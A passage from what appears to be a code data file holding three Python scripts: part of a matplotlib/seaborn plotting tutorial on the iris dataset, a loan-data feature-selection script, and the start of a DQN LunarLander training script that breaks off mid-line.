overwhelmed with unfamiliar information.\n#     \n#   For this excercise you've been asked to remake this plot in python but you need somewhere to start coding. Find the matplotlib and seaborn galleries, then look through for similar plot. Copy the code into a new cell and you are done.\n#     \n#   If you're unsure, please expand the hints for keywords and tips of where and how to look.\n#     \n#   <img src=\"./exercise1.png\"></img>\n#       \n#\n#   <details>\n#   <summary><b>\u2192 Hints</b></summary>\n#\n#   * Keywords are important, you are looking for a `heatmap` that is `categorical`\n#   * You want to go to google `matplotlib gallery` or `seaborn gallery`\n#   * With information overload don't get bogged down, try a quick scan of the whole page first or a Ctrl-F\n#  \n#   </details>\n#\n#   <br/>\n#   <br/>\n#   <details>\n#   <summary>\n#     <b>\u2192 Solution</b>\n#   </summary>\n#\n# - [matplotlib annotated heatmap](https://matplotlib.org/3.1.1/gallery/images_contours_and_fields/image_annotated_heatmap.html#sphx-glr-gallery-images-contours-and-fields-image-annotated-heatmap-py)\n# - [seaborn pairwise correlations](https://seaborn.pydata.org/examples/many_pairwise_correlations.html)\n# - many more\n#\n# If you found an example and copied the code:  congratulations, you are now a software developer.\n#     \n# <img width=\"200\" src=\"https://effectivesoftwaredesign.files.wordpress.com/2016/05/copying_and_pasting.jpg?w=640\"></img>\n#     \n#     \n#   </details>\n#\n#   </div>\n\n# ## 1. Matplotlib Basics <a name=\"matplotlib-basics\"></a>\n\n# This notebook includes basic instructions about how to create different charts using the libraries Matplotlib and Seaborn. In python, we can use pandas to manipulate the data and import the libraries matplotlib and seaborn to create the charts.\n#\n#\n# **Note:** <code>%matplotlib inline</code> This line of code sets the matplotlib backend to inline. More information about this [here](https://ipython.readthedocs.io/en/stable/interactive/plotting.html).\n#\n# From the official documentation:\n#\n# > With this backend, the output of plotting commands is displayed inline within frontends like the Jupyter notebook, directly below the code cell that produced it. The resulting plots will then also be stored in the notebook document.\n#\n\n# ## 2. Importing libraries <a name=\"libraries\"></a>\n\n# Good practice to use short but clear aliases for the imported libraries\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np \n# Magic Function\n# %matplotlib inline\n# Hide all warnings\nimport warnings\nwarnings.filterwarnings('ignore') # warnings.filterwarnings(action='once')\n\n# ## 3. Dataset <a name=\"dataset\"></a>\n\n# For this section, we will work with the Iris dataset. A classic in Machine Learning and data visualisation!\n# This is a small but popular dataset from 1936. Each row represents an iris flower, including its species and dimensions of its sepal and petals in centimetres.\n#\n# More information about the dataset can be found [here](https://archive.ics.uci.edu/ml/datasets/iris). Source image from [Wikipedia](https://en.wikipedia.org/wiki/Iris_(plant)). Some of the examples were inspired from this [tutorial](https://github.com/TannerGilbert/Tutorials/blob/master/Introduction%20to%20Data%20Visualization%20in%C2%A0Python/Introduction%20to%20Data%20Visualization%20in%C2%A0Python.ipynb) which is licensed under [MIT](https://github.com/TannerGilbert/Tutorials/blob/master/LICENSE).\n#\n# This is an Iris (plant):\n#\n# <img src=\"iris_measurements.png\" width=\"200\"/>\n\n# The library seaborn provides an easy way to test some datasets\n# Check the list of datasets available\nprint(sns.get_dataset_names())\n\n# For this notebook we will use the popular iris dataset. We can load it using the seaborn library\niris = sns.load_dataset(\"iris\")\n# By default the function head() shows only the first 5 rows\niris\n\n# +\n# We might want to select only the numeric columns\niris_numeric = iris._get_numeric_data()\n\n# and an unbalanced one\niris_unbalanced = iris[iris.petal_width>0.25]\n# -\n\n# ## 4. Scatterplots <a name=\"scatter\"></a>\n\n# A scatter plot uses dots to represent values for two different dimensions. The position of each dot on the horizontal and vertical axis indicates values for an individual data point. Scatter plots are used to observe relationships between variables.\n\niris[[\"sepal_length\", \"sepal_width\"]]\n\n# Note: there are a few inferfaces to matplotlib, we will be using [pyplot](https://matplotlib.org/3.1.1/tutorials/introductory/pyplot.html) which is a high level interface\n\nhelp(plt)\n\nhelp(plt.scatter)\n\n# scatter the sepal.length against the sepal.width\nplt.scatter(x=iris[\"sepal_length\"], y=iris[\"sepal_width\"])\n# set a title and labels\nplt.title(\"Iris Dataset\")\nplt.xlabel(\"sepal length\")\nplt.ylabel(\"sepal width\")\n\n\n\n# At the moment, it is hard to know which properties belong to different varieties or classes. By adding some colour or some styling to each data point we can add more meaning the last chart.\n\n# ### MPL Styling: Adding different markers <a name=\"scatter-styling-markers\"/>\n\n# +\ngroup1 = iris[iris[\"species\"] == \"setosa\"]\ngroup2 = iris[iris[\"species\"] == \"versicolor\"]\ngroup3 = iris[iris[\"species\"] == \"virginica\"]\n\n# scatter the sepal_length against the sepal_width\n# By adding a marker MPL will assign some default colours\nplt.scatter(x=group1[\"sepal_length\"], y=group1[\"sepal_width\"], marker=\"^\")\nplt.scatter(group2[\"sepal_length\"], group2[\"sepal_width\"], marker=\"x\")\nplt.scatter(group3[\"sepal_length\"], group3[\"sepal_width\"], marker=\"+\")\n\n# set a title and labels\nplt.title(\"Iris Dataset\")\nplt.xlabel(\"sepal length\")\nplt.ylabel(\"sepal width\")\nplt.show()\n# -\n\n# ### MPL Styling: Customise Colour <a name=\"scatter-styling-color\"/>\n\n# The basic colours available are:\n#\n# - b: blue\n# - g: green\n# - r: red\n# - c: cyan\n# - m: magenta\n# - y: yellow\n# - k: black\n# - w: white\n#\n# We can either use a single letter or write the color name. Let's use subplots and some add some styling.\n\n# +\ngroup1 = iris[iris[\"species\"] == \"setosa\"]\ngroup2 = iris[iris[\"species\"] == \"versicolor\"]\ngroup3 = iris[iris[\"species\"] == \"virginica\"]\n\n# scatter the sepal_length against the sepal_width\n# By adding a marker MPL will assign some default colours\nplt.scatter(x=group1[\"sepal_length\"], y=group1[\"sepal_width\"],color='purple')\nplt.scatter(group2[\"sepal_length\"], group2[\"sepal_width\"], c=\"blue\")\nplt.scatter(group3[\"sepal_length\"], group3[\"sepal_width\"], c=\"green\")\n\n# set a title and labels\nplt.title(\"Iris Dataset\")\nplt.xlabel(\"sepal length\")\nplt.ylabel(\"sepal width\")\n# -\n\nbasic_colors = {\"setosa\": \"red\", \"versicolor\": \"green\", \"virginica\": \"blue\"}\n\n# Shape returns the number of rows and columns in the dataset\nrows, columns = iris.shape\n# Let's create a function that receives a color dictionary as a parameter\n# Tip: It is good practice to reuse code as much as possible. Functions in Python are perfect for that !\ndef display_scatter(colors):\n    # create a figure and axis\n    fig, ax = plt.subplots()\n    \n    for species in colors.keys():\n        df_species = iris[iris.species == species]\n        ax.scatter(\n            df_species[\"sepal_length\"],\n            df_species[\"sepal_width\"],\n            color=colors[species],\n            label=species\n        )\n\n    # set a title and labels\n    ax.set_title(\"Iris Dataset\")\n    ax.set_xlabel(\"sepal length\")\n    ax.set_ylabel(\"sepal width\")\n    plt.legend()\n\n\n# **Note:** Gray shades can be given as a string encoding a float in the 0-1 range. Ranging from black to white.\n\ngray_colors = {\"setosa\": \"0\", \"versicolor\": \"0.5\", \"virginica\": \"0.85\"}\ndisplay_scatter(gray_colors)\n\n# We can also specify custom colours in hexadecimal format. More information about the colour API [here](https://matplotlib.org/2.0.2/api/colors_api.html).\n\n# Create custom color dictionary mapping the specie with a hex colour\ncustom_colors = {\"setosa\": \"#7F58AF\", \"versicolor\": \"#64C5EB\", \"virginica\": \"#E84D8A\"}\ndisplay_scatter(custom_colors)\n\n# #### Scatterplot Matrices\n#\n# Sometimes you might want to plot a scatter matrix which allows you to plot a grid of pairwise relationships in a dataset.\n\n\n\n# +\nfrom pandas.plotting import scatter_matrix\n\nfig, ax = plt.subplots(figsize=(10, 10))\nscatter_matrix(iris, alpha=1, ax=ax)\nplt.show()\n# -\n\n# ## 5. Bar Chart <a name=\"bar\"/>\n#\n# You may have gathered that charts in pyplot are plt.`name`, but we still need to know the arguments. What are the arguments for a bar chart?\n\nhelp(plt.bar)\n\n# count the occurrence of each species\ndata = iris_unbalanced[\"species\"].value_counts()\ndata\n\n# create a figure and axis\nfig, ax = plt.subplots()\n# get x and y data\nspecies = data.index\nfrequency = data.values\n# create bar chart\nax.bar(species, frequency)\n# set title and labels\nax.set_title(\"Frequency of Iris flowers by species\")\nax.set_xlabel(\"Species\")\nax.set_ylabel(\"Frequency\")\n\n# Or you can use the pandas wrapper\niris_unbalanced[\"species\"].value_counts().plot.bar()\n\n\n# Let's create another function to display our Bar chart\ndef display_bar(dataset, colors):\n    # create a figure and axis\n    fig, ax = plt.subplots()\n    # count the occurrence of each specie\n    data = dataset[\"species\"].value_counts()\n    print(data)\n\n    # For loop to set a color per data point\n    for i in range(len(data)):\n        # get x and y data\n        species = data.index[i]\n        frequency = data.loc[species]\n        ax.bar(species, frequency, color=colors[species])\n\n    # set title and labels\n    ax.set_title(\"Frequency of Iris flowers by specie\")\n    ax.set_xlabel(\"Species\")\n    ax.set_ylabel(\"Frequency\")\n\n\n\ndisplay_bar(iris_unbalanced, basic_colors)\ndisplay_bar(iris_unbalanced, gray_colors)\ndisplay_bar(iris_unbalanced, custom_colors)\n\n\n# Now let's try to create a more useful bar chart. Imagine that you are interested to see the frequency of iris flowers which have a minimum length (given in centimeters)\n\n# +\ndef iris_minimum_sepal_length(length_cm):\n    # use reset index to map correctly the new indices for the new dataset we are creating\n    return iris[iris[\"sepal_length\"] >= length_cm].reset_index(drop=True)\n\niris_minimum_sepal_length(5)\n# -\n\ndisplay_bar(iris_minimum_sepal_length(5), custom_colors)\n\ndisplay_bar(iris_minimum_sepal_length(7), custom_colors)\n\n# # 6. Histograms <a name=\"histogram\"/>\n\n# According to [Wikipedia](https://en.wikipedia.org/wiki/Histogram): \n# > A histogram is an approximate representation of the distribution... To construct a histogram, the first step is to \"bin\" (or \"bucket\") the range of values\u2014that is, divide the entire range of values into a series of intervals\u2014and then count how many values fall into each interval. The bins are usually specified as consecutive, non-overlapping intervals of a variable. The bins (intervals) must be adjacent, and are often (but not required to be) of equal size.\n\n# +\n# Fix the seed for reproducibility\nnp.random.seed(2020)\n\n# Let's generate a random list of numbers with a normal distribution\nx = np.random.normal(size=1000)\n\n# Let's use the pyplot function for a histogram\nplt.hist(x, bins=10)\nplt.show()\n# -\n\n#\n# <div class=\"alert alert-success\">\n# <h3>Exercise</h3>\n#\n# Let's practice some of the key concepts we have learned so far. Using the same data in <code>x</code> for the histogram. Please complete the code below\n#     \n# ```python\n# # 1. Create a function that receives the number of bins and allow to plot a histogram\n#\n#\n# def plot_hist(x, num_bins):\n#     # COMPLETE CODE HERE\n#     print(\"Complete code\")\n#\n#\n# # 2. Modify the last function to plot the histogram for values greater than the standard deviation of the data (`x.std()`).\n# def plot_hist_gt_std(x, num_bins):\n#     # COMPLETE CODE HERE\n#     print(\"Complete code\")\n#\n# ```\n#\n# <details>\n# <summary><b>\u2192 Hints</b></summary>\n#\n# * You already have x from above\n# * To get rows greater than 1 std dev, look at the `iris_minimum_sepal_length` code above. `df[df<df.std()]`\n# * Call the functions above with x, and the number of bins\n#\n# </details>\n#\n#\n# <details>\n# <summary>\n# <b>\u2192 Solution</b>\n# </summary>\n#\n# ```python\n# # 1. Create a function that receives the number of bins and allows to plot a histogram\n# def plot_hist(x, num_bins):\n#     print(f\"Histogram with {num_bins} bins\")\n#     plt.hist(x, bins=num_bins)\n#     plt.show()\n#\n#\n# # 2. Modify the last function to plot the histogram for values greater than the standard deviation of the data.\n# def plot_hist_gt_std(x, num_bins):\n#     print(f\"Histogram for values greater than {x.std()}\")\n#     # You can use conditional selection in numpy like this:\n#     above_std = x[x > x.std()]\n#     plt.hist(above_std, bins=num_bins)\n#     plt.show()\n#\n#\n#\n# # Let's test this new functions\n# plot_hist(x, 10)\n# plot_hist_gt_std(x, 10)\n#\n# ```\n#\n# </details>\n#\n# </div>\n\n\n\n# ## Line Chart <a name=\"line\"/>\n#\n# Suprisingly it's not plt.line, but plt.plot:\n\nplt.plot(iris.index, iris['sepal_length'], label=\"sepal_length\")\nplt.plot(iris.index, iris['sepal_width'], color=\"green\", label=\"sepal_width\")\nplt.legend()\n\n# Or using the pandas wrapper:\n\n\n\niris_numeric.plot.line()\n\n# # MPL Line Styling <a name=\"line-styling\"/>\n\n# Now let's do some styling:\n#\n# More information about linestyling [here](https://matplotlib.org/3.1.0/gallery/lines_bars_and_markers/linestyles.html)\n\nplt.plot(iris['sepal_length'], linestyle=\"dotted\")\nplt.plot(iris['sepal_width'], linestyle=\"--\", color=\"green\")\nplt.plot(iris['petal_length'], linestyle=\"-\", color=\"red\")\nplt.plot(iris['petal_width'], linestyle=\":\", color=\"c\", linewidth=2, alpha=0.5, marker='x')\nplt.legend()\n\n# # Pandas plotting\n#\n# Pandas will handle a lot of the work for you if your dataframe is already clean. This is great if it works, so don't be afraid to try it first.\n\niris.plot()\n\niris.plot.hist()\n\niris.plot.scatter('sepal_length', 'sepal_width')\n\n# ## Subplots\n#\n# This lets us combine multiple plots into one\n\n# +\nxi = range(10)\nyi = range(10)\n\n# Start a figure, with a certain size\nplt.figure(figsize=(8, 8))\n\n# For 2 rows and 2 columns of subplots, use subplot 1\nplt.subplot(2, 2, 1)\nplt.plot(xi, yi)\n\n\n# activate the next plot\nplt.subplot(2, 2, 2)\nplt.plot(xi, yi)\n\nplt.subplot(2, 2, 3)\nplt.plot(xi, yi)\nplt.title('Plot 3')\nplt.xlabel('x')\nplt.ylabel('y')\n\nplt.subplot(2, 2, 4)\nplt.plot(xi, yi)\n\nplt.suptitle('The super title')\nplt.show()\n# -\n\n# ### MPL Styling: Adding Colormaps  and subplots<a name=\"line-styling-colourmap\"/>\n#\n# Sometimes you want to change to colors for a predefined color palette. MPL supports many color maps that can be specified in any chart using the parameter <code>cmap</code>\n#\n# We are also using subplots here\n#\n# Find the complete list of supported colormaps in the [official documentation](https://matplotlib.org/3.1.0/tutorials/colors/colormaps.html).\n\n# +\n# Examples using some colormaps available\ncolormap_list = [\"viridis\", \"magma\", \"plasma\", \"rainbow\", \"Dark2\", \"hsv\"]\n\n\ndef plot_lines(ax, cmap, df):\n    df.plot(kind=\"line\", cmap=cmap, ax=ax)\n\n\ndef plot_multiple_lines(df, colormap_list):\n    fig, axes = plt.subplots(nrows=3, ncols=2, figsize=(12, 12))\n    # Axes.flat is one the methods that allows iterating over the axes in a subplot\n    for idx, ax in enumerate(axes.flat):\n        cmap = colormap_list[idx]\n        plot_lines(ax, cmap, df)\n        plt.title(cmap)\n    plt.tight_layout()\n    plt.show()\n\n\n# -\n\nplot_multiple_lines(iris, colormap_list)\n\n#\n# <div class=\"alert alert-success\">\n# <h2>Exercise</h2>\n#\n# 1. Try different values of colormaps for the <code>plot_multiple_lines</code>\n# 2. Modify the function <code>plot_multiple_lines</code> so it shows the plots in 3 columns and 2 rows.\n#\n#\n# </div>\n#\n#\n\n# # Seaborn <a name=\"seaborn\"/>\n#\n# From the [Seaborn documentation](https://seaborn.pydata.org/)\n#\n# > Seaborn is a Python data visualization library based on matplotlib. It provides a high-level interface for drawing attractive and informative statistical graphics.\n#\n# Given that this library is based on matplotlib, it is possible to style the plots using some of the styling tricks from matplotlib. However, it provides more advanced plots with less code.\n#\n\n# ## Seaborn Basic Plots <a name=\"seaborn-basics\"/>\n#\n# We will start by plotting some of the charts that we have already used in this notebook. We will use some of the example code from the official documentation.\n\n# %matplotlib inline\n\n# ### Scatter plot\n\nsns.scatterplot(x='sepal_width', y='sepal_length', data=iris)\n\n# ### Line plot\n\n# +\nsns.lineplot(data=iris_numeric)\nplt.show()\n\n# Notice how seaborn adds by default color and line styles\n# -\n\n# ### Scatter / Pairplot\n\n# +\nimport seaborn as sns\n\nsns.set(style=\"ticks\")\n# Pairplot is the equivalent to scatter plots in MPL\nsns.pairplot(iris, hue=\"species\")\nplt.show()\n# -\n\n# # Other plots <a name=\"seaborn-others\"/>\n\n# ### Boxplot\n\n# This plot shows the boxplots w.r.t species and sepal length\ndf = iris[(iris[\"sepal_length\"] >= 2)]\nsns.boxplot(\"sepal_length\", \"species\", data=df)\nplt.show()\n\n# ### Multiple Linear Regression\n\n# +\n# Plot sepal width as a function of sepal length\ng = sns.lmplot(x=\"sepal_length\", y=\"sepal_width\", hue=\"species\", height=5, data=iris)\n\n# Use more informative axis labels than are provided by default\ng.set_axis_labels(\"Sepal length\", \"Sepal width\")\nplt.show()\n# -\n\n# #### Heatmaps\n#\n# Seaborn have interesting functions to create useful plots such as heatmap\n\n# This heatmap shows the correlation between variables for the iris dataset in just one line of code!\nsns.heatmap(iris.corr(), annot=True)\nplt.show()\n\n# Seaborn provides many more useful plots.\n#\n# Check some of the examples [here](https://seaborn.pydata.org/tutorial)\n\n# ## References and further reading\n# The following sources have been used in the creation of this notebook:\n# - [Matplotlib documentation](https://matplotlib.org/3.2.2/contents.html)\n# - [Seaborn documentation](https://seaborn.pydata.org/)\n# - [Introduction to Data Visualization in Python](https://github.com/TannerGilbert/Tutorials/blob/master/Introduction%20to%20Data%20Visualization%20in%C2%A0Python/Introduction%20to%20Data%20Visualization%20in%C2%A0Python.ipynb)\n#\n# Many more examples:\n#\n# - [Seaborn examples](https://seaborn.pydata.org/examples/index.html)\n# - [Matplotlib examples](https://matplotlib.org/3.2.2/tutorials/introductory/sample_plots.html)\n# - [3D Plotting](https://towardsdatascience.com/an-easy-introduction-to-3d-plotting-with-matplotlib-801561999725)\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "51cae4039f9f5ad140b71187d94d78fa5bfd2af9", "size": 21276, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/b03_Data_Visualisation/DataVisualisation.py", "max_stars_repo_name": "lixuekai2001/ml_for_log_data", "max_stars_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-09-24T06:34:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-18T14:43:11.000Z", "max_issues_repo_path": "notebooks/b03_Data_Visualisation/DataVisualisation.py", "max_issues_repo_name": "lixuekai2001/ml_for_log_data", "max_issues_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/b03_Data_Visualisation/DataVisualisation.py", "max_forks_repo_name": "lixuekai2001/ml_for_log_data", "max_forks_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2020-10-14T07:13:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-23T01:59:41.000Z", "avg_line_length": 33.7179080824, "max_line_length": 507, "alphanum_fraction": 0.7202951683, "include": true, "reason": "import numpy", "num_tokens": 5529, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.16238003261321476, "lm_q1q2_score": 0.07549073232154561}}
{"text": "\n# coding: utf-8\n\n# In[31]:\n\n\nimport os\ncwd = os.getcwd()\nDB_FILE = \"%s\\Data\\loans.db\" % cwd\n\n\n# In[32]:\n\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn import preprocessing\n\n\n# In[33]:\n\n\n##############################################################################\n##########                DATABASE FUNCTIONS                     #############\n##############################################################################\n#### Read function to import data from the SQL to a pandas dataframe.\ndef readSQL(query):\n    import pandas as pd\n    import sqlite3 as sql3\n    db = sql3.connect(DB_FILE)\n    df = pd.read_sql_query(query, db)\n    db.close()\n    return(df)\n\n#### Write a pandas dataframe into an SQL table. Use overwrite=True if you want to delete \n#### first a pre-existent table with the same name. Use append=True if you want to append\n#### the data in the dataframe to a pre-existent table.\ndef writeSQL(df,tablename,overwrite=False, append=False):\n    import pandas as pd\n    import sqlite3 as sql\n    db = sql.connect(DB_FILE)\n    if (overwrite):\n        action = \"replace\"\n    elif (append):\n        action = \"append\"\n    else: \n        action = \"fail\"\n    df.to_sql(tablename, db, if_exists=action)\n    db.close()\n\n\n# In[34]:\n\n\nloans = readSQL('''SELECT * FROM loans_dataset_missing''')\n\n\n# In[35]:\n\n\nloans.head()\n\n\n# In[36]:\n\n\nloans.dtypes\n\n\n# In[37]:\n\n\ndf = loans.copy()\n\n\n# In[38]:\n\n\ndf.drop(['issue_d'],axis=1,inplace=True)\n\n\n# In[39]:\n\n\n##Get Series of columns\n##cat_vars = list(df.select_dtypes(include=['object']).columns)\n##cat_vars\n##Turn\n#for column in cat_vars:\n #   print(df[column])\n #   df[column] = df[column].astype('category')\n\n\n# In[40]:\n\n\n## check unique - df.select_dtypes('category').apply(pd.Series.nunique, axis = 0)\n\n\n# <h3> Encoding the Categorical Variables\n\n# <b> For categorical variables with only 2 unique values we will use LabelEncoder\n\n# In[41]:\n\n\ncount = 0\nfor col in df:\n    if df[col].dtype == 'object':\n        if len(list(df[col].unique())) <= 2:     \n            le = preprocessing.LabelEncoder()\n            df[col] = le.fit_transform(df[col])\n            count += 1\n            print (col)\n            \nprint('%d columns were label encoded.' % count)\n\n\n# <b> For categorical variables with more than 2 unique values we will use dummies(onehotencoding)\n\n# In[42]:\n\n\ndf = pd.get_dummies(df)\nprint(df.shape)\ndf.head()\n\n\n# In[43]:\n\n\n##check for NA\ndf.columns[df.isna().any()].tolist()\n\n\n# In[44]:\n\n\n##Turn Our Outcome To Category For TableOne\n\n\n# In[45]:\n\n\ndf['default'] = df['default'].astype('category')\n\n\n# # Feature Selection Strategy\n\n# <p>After the dataset is ready we need to find what features are good for modeling.</p>\n# <p>We will do it with Univariable and Multivariable methods.</p>\n# <p>For Univariate we will check with <strong>tableOne</strong> what features have <strong>p-value&lt;0.05</strong></p>\n# <p>For Multivariate we will check with numerous modeling:</p>\n# <ol>\n# <li>LASSO (L1 penalization)</li>\n# <li>Random Forest</li>\n# <li>Gradient Boosting classification</li>\n# <li>SVM classification</li>\n# </ol>\n\n# In[46]:\n\n\n##Get Thomas Library\nimport pyMechkar as mechkar\n\n\n# <b>prepare the data for multiple checks\n\n# In[47]:\n\n\n##Get All Columns except default\ndf_columns = df.select_dtypes(exclude=['category']).columns\n\n\n# In[48]:\n\n\nX = df.loc[:,df_columns]\nX.head()\nX.shape\n\n\n# In[49]:\n\n\ny = df[['default']]\nprint(y.shape)\n\n\n# Prepare table with all of our features and fill it with the result of each analysis method\n\n# In[53]:\n\n\nvarSelection = pd.DataFrame({'Variable': df_columns})\nvarSelection.size\n\n\n# <b>Univariable check\n\n# In[55]:\n\n\ntab1 = mechkar.pyMechkar().Table1(data=df, y='default')\n\n\n# In[56]:\n\n\ntab1[tab1['p_value']<0.05]\n\n\n# In[57]:\n\n\nvn1 = tab1.loc[tab1['p_value']<0.05,'Variables'].unique()\nprint(len(vn1))\nvn1\n\n\n# We will add these variables to our variable selection table\n\n# In[58]:\n\n\nvarSelection['Univarable'] = 0\nvarSelection.loc[varSelection['Variable'].isin(vn1), 'Univarable'] = 1\nvarSelection\n\n\n# <b>Multivariable Analysis checks\n\n# ### Variable Selection using LASSO (L1 penalization)\n\n# In[59]:\n\n\nfrom sklearn.linear_model import Lasso\nfrom sklearn.feature_selection import SelectFromModel\n\nlassomod = Lasso(alpha=0.1,max_iter=10000).fit(X, y)\n\n\n# In[60]:\n\n\nmodel = SelectFromModel(lassomod, prefit=True)\n#model.get_support()\n\n\n# In[61]:\n\n\nvarSelection['Lasso'] = model.get_support().astype('int64')\n#varSelection\n\n\n# ### Variable Selection using Random Forest\n\n# In[62]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_selection import SelectFromModel\n\nrfmod = RandomForestClassifier().fit(X, y.values.ravel())\n#rfmod.feature_importances_ \n\n\n# In[63]:\n\n\nmodel = SelectFromModel(rfmod, prefit=True)\n#model.get_support()\n\n\n# In[64]:\n\n\nvarSelection['RandomForest'] = model.get_support().astype('int64')\n#varSelection\n\n\n# ### Variable Selection using Gradient Boosting classification\n\n# In[65]:\n\n\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.feature_selection import SelectFromModel\n\ngbmod = GradientBoostingClassifier().fit(X, y.values.ravel())\n\n\n# In[66]:\n\n\nmodel = SelectFromModel(gbmod, prefit=True)\n#model.get_support()\n\n\n# In[67]:\n\n\nvarSelection['GradientBoost'] = model.get_support().astype('int64')\n#varSelection\n\n\n# ### Variable Selection using SVM classification\n\n# In[68]:\n\n\nfrom sklearn.svm import LinearSVC\nfrom sklearn.feature_selection import SelectFromModel\n\nsvmmod = LinearSVC(C=0.01, penalty=\"l1\",dual=False).fit(X, y.values.ravel())\n\n\n# In[69]:\n\n\nmodel = SelectFromModel(svmmod, prefit=True)\n#model.get_support()\n\n\n# In[70]:\n\n\nvarSelection['SVM'] = model.get_support().astype('int64')\n#varSelection\n\n\n# ### Summarization and Selection of Variables \n\n# In[71]:\n\n\nvarSelection['Sum'] =  np.sum(varSelection,axis=1)\nvarSelection\n\n\n# In[73]:\n\n\nvarSelection.groupby('Sum')['Variable'].count()\n\n\n# We can now decide a threshold for selecting our variables!\n\n# In[74]:\n\n\nv=varSelection[varSelection['Sum']>1]\n\n\n# In[77]:\n\n\ncols = v[\"Variable\"]\n\n\n# In[80]:\n\n\ncols = cols.append(pd.Series('default'))\n\n\n# In[81]:\n\n\ndf2 = df.loc[:,cols]\n\n\n# In[82]:\n\n\nprint(df2.shape)\n\n\n# In[83]:\n\n\nwriteSQL(df=df2,tablename=\"full_dataset\")\n\n", "meta": {"hexsha": "908c355ebb543e6779210212fb421b2e82f06ac9", "size": 6218, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/features/6-Feature-Selection.py", "max_stars_repo_name": "kobiburkis/LendingClubAnalysis", "max_stars_repo_head_hexsha": "2bb3a4a43bd4cc282afe800d15399c748a87443d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-03-30T17:36:00.000Z", "max_stars_repo_stars_event_max_datetime": "2019-03-30T17:36:00.000Z", "max_issues_repo_path": "src/features/6-Feature-Selection.py", "max_issues_repo_name": "NadavFeldman/Lending-Club-Issued-Loans-Analysis-", "max_issues_repo_head_hexsha": "77a498abe0614996ddae232efba2f8711582c425", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/features/6-Feature-Selection.py", "max_forks_repo_name": "NadavFeldman/Lending-Club-Issued-Loans-Analysis-", "max_forks_repo_head_hexsha": "77a498abe0614996ddae232efba2f8711582c425", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.9845758355, "max_line_length": 120, "alphanum_fraction": 0.6587327115, "include": true, "reason": "import numpy", "num_tokens": 1609, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.15203223778010538, "lm_q1q2_score": 0.07542225504336587}}
{"text": "import gym\nimport random\nimport torch\nimport numpy as np\nfrom collections import deque\nimport matplotlib.pyplot as plt\nimport pdb\n\n\n\n# ### 2. Instantiate the Environment and Agent\n# \n# Initialize the environment in the code cell below.\n\n# In[2]:\n\n\nenv = gym.make('LunarLander-v2')\nenv.sparse_rewards=True\nenv.seed(0)\nprint('State shape: ', env.observation_space.shape)\nprint('Number of actions: ', env.action_space.n)\n\n\n# Please refer to the instructions in `Deep_Q_Network.ipynb` if you would like to write your own DQN agent.  Otherwise, run the code cell below to load the solution files.\n\n# In[3]:\n\n\nfrom dqn_agent import Agent\n\nagent = Agent(state_size=8, action_size=4, seed=0, enable_curiosity=False)\n\n# watch an untrained agent\n\nstate = env.reset()\n\nfor j in range(200):\n    action = agent.act(state)\n    env.render()\n    state, reward, done, _ = env.step(action)\n    if done:\n        break \n    \nenv.close()\n\n\n# ### 3. Train the Agent with DQN\n# \n# Run the code cell below to train the agent from scratch.  You are welcome to amend the supplied values of the parameters in the function, to try to see if you can get better performance!\n# \n# Alternatively, you can skip to the next step below (**4. Watch a Smart Agent!**), to load the saved model weights from a pre-trained agent.\n\n# In[4]:\n\n\ndef dqn(n_episodes=2000, max_t=1000, eps_start=1.0, eps_end=0.01, eps_decay=0.995):\n    \"\"\"Deep Q-Learning.\n    \n    Params\n    ======\n        n_episodes (int): maximum number of training episodes\n        max_t (int): maximum number of timesteps per episode\n        eps_start (float): starting value of epsilon, for epsilon-greedy action selection\n        eps_end (float): minimum value of epsilon\n        eps_decay (float): multiplicative factor (per episode) for decreasing epsilon\n    \"\"\"\n    scores = []                        # list containing scores from each episode\n    scores_window = deque(maxlen=100)  # last 100 scores\n    eps = eps_start                    # initialize epsilon\n    for i_episode in range(1, n_episodes+1):\n        state = env.reset()\n        score = 0\n        for t in range(max_t):\n            action = agent.act(state, eps)\n            next_state, reward, done, _ = env.step(action)\n            agent.step(state, action, reward, next_state, done)\n            state = next_state\n            score += reward\n            if done:\n                break \n        scores_window.append(score)       # save most recent score\n        scores.append(score)              # save most recent score\n        eps = max(eps_end, eps_decay*eps) # decrease epsilon\n        print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_window)), end=\"\")\n        if i_episode % 100 == 0:\n            print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_window)))\n        if np.mean(scores_window)>=200.0:\n            print('\\nEnvironment solved in {:d} episodes!\\tAverage Score: {:.2f}'.format(i_episode-100, np.mean(scores_window)))\n            torch.save(agent.qnetwork_local.state_dict(), 'checkpoint.pth')\n            break\n    return scores\n\nscores = dqn()\n\nfig=plt.figure()\nax = 